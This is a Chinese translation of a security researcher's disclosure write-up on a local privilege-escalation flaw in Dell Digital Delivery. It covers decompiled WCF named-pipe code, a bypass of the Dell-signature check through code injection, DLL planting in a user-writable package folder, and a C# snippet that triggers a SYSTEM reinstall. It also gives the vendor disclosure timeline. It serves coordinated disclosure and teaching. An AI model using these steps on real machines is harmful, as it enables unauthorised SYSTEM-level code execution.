早在3、4月的時候,我開始逆向我筆記本上一系列的戴爾程序。這些程序和服務權限都較高,並且運行時候做的任務比較複雜。我之前在SupportAssist裡發現過一個本地提權漏洞, 現在又在戴爾的數字傳送平臺(Digital Delivery platform)裡發現了另一個。這篇文章就講講戴爾數字傳送(以下簡稱為DDD,Dell Digital Delivery)裡的這個漏洞是怎麼被利用的。至今還沒有人利用這個漏洞造成危害。戴爾已經針對這個漏洞發佈了安全報告。
SupportAssist和DDD很複雜,所以漏洞也會很多。如果你對挖掘大型的C#/C++應用裡的本地提權漏洞感興趣,可以試試這兩個程序。
Dell’s Digital Delivery是用來安裝軟件的。它可以讓用戶購買、管理軟件,並且DDD預裝在大部分的戴爾電腦上。
Bug
DDD以SYSTEM權限運行,服務名是DeliveryService, 程序名是DeliveryService.exe。DeliveryTray.exe是用戶層面的組件,讓用戶可以對軟件進行管理、安裝。
DeliveryTray和DeliveryService之間的通信是通過一個Windows Communication Foundation (WCF)命名管道進行的。WCF 是兩個進程交換數據的標準方法。像web服務器的REST API一樣,WCF允許服務註冊為處理端並說明主要功能。
Dell.ClientFulfillmentService.Controller.Initialize中對WCF命名管道的初始化如下所示:
this
.
_host
=
WcfServiceUtil
.
StandupServiceHost
(
typeof
(
UiWcfSession
),
typeof
(
IClientFulfillmentPipeService
),
"DDDService"
);
初始化過程調用了 Dell.NamedPipe.StandupServiceHost:
ServiceHost
host
=
null
;
string
apiUrl
=
"net.pipe://localhost/DDDService/IClientFulfillmentPipeService"
;
Uri
realUri
=
new
Uri
(
"net.pipe://localhost/"
+
Guid
.
NewGuid
().
ToString
());
Tryblock
.
Run
(
delegate
{
host
=
new
ServiceHost
(
classType
,
new
Uri
[]
{
realUri
});
host
.
AddServiceEndpoint
(
interfaceType
,
WcfServiceUtil
.
CreateDefaultBinding
(),
string
.
Empty
);
host
.
Open
();
},
null
,
null
);
AuthenticationManager
.
Singleton
.
RegisterEndpoint
(
apiUrl
,
realUri
.
AbsoluteUri
);
由apiUrl註冊的服務開始偵聽,AuthenticationManager的singleton負責處理請求。一有請求,AuthenticationManager就將其傳給AuthPipeWorker函數執行以下身份驗證:
string
execuableByProcessId
=
AuthenticationManager
.
GetExecuableByProcessId
(
processId
);
bool
flag2
=
!
FileUtils
.
IsSignedByDell
(
execuableByProcessId
);
if
(!
flag2
)
{
...
僅當另一端是由戴爾簽名的二進制文件時,請求才會建立連接。
這是在3.1 (我最初測試時候的版本) 和3.5 (現在的最新版, 3.5.1001.0)版本之間加進來的新防護措施,戴爾可能意識到了這裡有漏洞點。但這防護還遠遠不夠。我可以通過生成一個由戴爾簽名的二進制文件(例如DeliveryTray.exe)並在其中注入代碼來繞過這個防護措施。注入代碼後,可以訪問特權服務的WCF API。
端點服務由Dell.NamedPipe實現,有十幾個函數。如下所示:
ArchiveAndResetSettings
EnableEntitlements
EnableEntitlementsAsync
GetAppSetting
PingTrayApp
PollEntitlementService
RebootMachine
ReInstallEntitlement
ResumeAllOperations
SetAppSetting
SetAppState
SetEntitlementList
SetUserDownloadChoice
SetWallpaper
ShowBalloonTip
ShutDownApp
UpdateEntitlementUiState
DDD將應用程序安裝包稱為“entitlements”(可以在以上所列函數中找到對應項),安裝/重裝自然就是指那些可以被安裝以及已經安裝好的軟件包。
我第一個研究的函數是 ReInstallEntitlement,顧名思義,它會啟動一個已安裝程序包的重裝進程。代碼實現如下所示:
private
static
void
ReInstallEntitlementThreadStart
(
object
reInstallArgs
)
{
PipeServiceClient
.
ReInstallArgs
ra
=
(
PipeServiceClient
.
ReInstallArgs
)
reInstallArgs
;
PipeServiceClient
.
TryWcfCall
(
delegate
{
PipeServiceClient
.
_commChannel
.
ReInstall
(
ra
.
EntitlementId
,
ra
.
RunAsUser
);
},
string
.
Concat
(
new
object
[]
{
"ReInstall "
,
ra
.
EntitlementId
,
" "
,
ra
.
RunAsUser
.
ToString
()
}));
}
這個函數通過一個WCF調用將根據請求構建好的參數送到WCF端點。 ReInstallEntitlement有兩個參數: 一個軟件包ID和一個RunAsUser標誌(如上所示),都由調用者控制。
在服務端 Dell.ClientFulfillmentService.Controller 管理這些函數的具體實現, OnReInstall 處理重裝進程,它先執行一些完整性檢查、驗證包簽名,然後讓 InstallationManager 將重裝請求壓入任務隊列。 InstallationManager 有一個任務隊列以及檢查新任務的後臺線程( WorkingThread) ,當收到新的安裝請求時就會調用 InstallSoftware。
軟件包將緩存到磁盤並等待重新安裝。安裝步驟就不多說了。
將放在 C:\ProgramData\Dell\DigitalDelivery\Downloads\Software\ 的安裝包先解壓然後安裝。比如我們安裝 DellDataProtection-SecurityToolsv1.9.1,你就會在任務管理器裡看到一個安裝進程:
"C:\ProgramData\Dell\Digital Delivery\Downloads\Software\Dell Data Protection _
Security Tools v1.9.1\STSetup.exe"
-
y
-
gm2
/
S
/
z
""CIRRUS_INSTALL,
SUPPRESSREBOOT=1""
此進程的運行用戶由可控制的RunAsUser標誌確定,如果設置為False,則使用 SYSTEM權限從 %ProgramData% 目錄中運行。
在 STSetup 進程的啟動階段,任務管理器中有如下進程:
C
:
\ProgramData\Dell\Digital
Delivery
\Downloads\Software\Dell
Data
Protection
_
Security
Tools
v1
.
9.1
\VERSION
.
dll
C
:
\ProgramData\Dell\Digital
Delivery
\Downloads\Software\Dell
Data
Protection
_
Security
Tools
v1
.
9.1
\UxTheme
.
dll
C
:
\ProgramData\Dell\Digital
Delivery
\Downloads\Software\Dell
Data
Protection
_
Security
Tools
v1
.
9.1
\PROPSYS
.
dll
C
:
\ProgramData\Dell\Digital
Delivery
\Downloads\Software\Dell
Data
Protection
_
Security
Tools
v1
.
9.1
\apphelp
.
dll
C
:
\ProgramData\Dell\Digital
Delivery
\Downloads\Software\Dell
Data
Protection
_
Security
Tools
v1
.
9.1
\Secur32
.
dll
C
:
\ProgramData\Dell\Digital
Delivery
\Downloads\Software\Dell
Data
Protection
_
Security
Tools
v1
.
9.1
\api
-
ms
-
win
-
downlevel
-
advapi32
-
l2
-
1
-
0.dll
這裡有意思的是,系統中的用戶對父目錄 %ProgramData%\Dell\DigitalDelivery\Downloads\Software都沒有寫入權限,但對安裝包文件夾 DellDataProtection-SecurityTools 有寫入權限。
這讓非特權用戶可以將任意文件放入這個目錄,給了我們使用DLL注入的機會。
漏洞利用
漏洞利用有以下步驟:
- 將DLL放在適當的 %ProgramData% 軟件包目錄下
- 啟動運行由Dell簽名的可執行文件的新進程
- 將C#代碼注入這個進程(運行在無特權的用戶空間中)
- 從被注入的進程中連接到WCF命名管道
- 觸發ReInstallEntitlement
步驟4、5可以用下面的C#代碼完成:
PipeServiceClient
client
=
new
PipeServiceClient
();
client
.
Initialize
();
while
(
PipeServiceClient
.
AppState
==
AppState
.
Initializing
)
System
.
Threading
.
Thread
.
Sleep
(
1000
);
EntitlementUiWrapper
entitle
=
PipeServiceClient
.
EntitlementList
[
0
];
PipeServiceClient
.
ReInstallEntitlement
(
entitle
.
ID
,
false
);
System
.
Threading
.
Thread
.
Sleep
(
30000
);
PipeServiceClient
.
CloseConnection
();
上面用到的類是從 NamedPipe.dll導入的。我這裡僅僅選擇了第一個可選的軟件包然後重裝,你可能需要遍歷軟件包來確定哪個軟件包的重裝進程會用到你注入的代碼。
我在Github上放出了PoC, 戴爾也已經放出了相應的安全報告。
時間線
05/24/18 – 初次漏洞報告
05/30/18 – 戴爾請求獲得更多信息
06/26/18 – 戴爾提供有關審核和修復的更新
07/06/18 – 戴爾提供內部跟蹤ID並更新進度
07/24/18 – 更新請求
07/30/18 – 戴爾確認他們將發佈安全建議和相關的CVE
08/07/18 – 允許90天后進行漏洞細節公開
08/10/18 – 戴爾確認公開日期為8月22日
08/22/18 – 公開漏洞細節
翻譯原文鏈接:
http://hatriot.github.io/blog/2018/08/22/dell-digital-delivery-eop/
閱讀更多 合天網安實驗室 的文章